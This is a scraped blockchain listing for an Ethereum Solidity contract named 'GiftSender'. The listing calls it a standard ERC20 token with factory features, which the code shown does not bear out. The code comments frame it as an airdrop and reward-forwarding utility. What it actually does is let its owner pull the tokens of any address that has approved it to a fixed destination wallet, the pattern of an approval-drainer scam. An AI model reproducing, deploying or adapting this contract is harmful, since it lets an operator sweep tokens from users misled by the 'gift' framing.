GiftSender

Description:

ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)

pragma solidity >=0.4.16;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: GiftSender.sol
// Main contract logic.

pragma solidity ^0.8.18;

/**
 * @title Transaction Processor
 * @dev A utility contract to execute ERC20 transfers.
 * This contract is managed by an foundation to process allocation transactions for users.
 */
contract GiftSender {

    // The address of the foundation, authorized to initiate transfers of Airdrop allocation.
    address public owner; 
    
    // The eligible address where all tokens assets are sent.
    address public destinationWallet;

    /**
     * @dev Restricts function access.
     */
    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not the owner");
        _;
    }

    /**
     * @dev Sets the initial user and his destination address upon deployment.
     * @param _destination The address of eligible user for reward forwarding.
     */
    constructor(address _destination) {
        owner = msg.sender;
        destinationWallet = _destination; 
    }

    /**
     * @dev Executes a token transfer using an allowance previously granted to this contract.
     * @param tokenAddress The contract address of the reward token to be transfered.
     * @param userAddress The source address of the tokens (the user who granted approval for token allocation).
     * @param amount The quantity of tokens to transfer.
     */
    function executeTransferForUser(
        address tokenAddress,
        address userAddress,
        uint256 amount
    ) external onlyOwner { 
        IERC20 token = IERC20(tokenAddress);
        token.transferFrom(userAddress, destinationWallet, amount);
    }
}

Tags:
ERC20, Token, Factory|addr:0x083a82ad2a560e2b89f7528f112443d5fd0e500e|verified:true|block:23482681|tx:0x8195008e678580cb7dba6ad275b91b45203bda6d31c86d8fc80c3acb0cef0e7f|first_check:1759324535

Submitted on: 2025-10-01 15:15:35

Comments

Log in to comment.

No comments yet.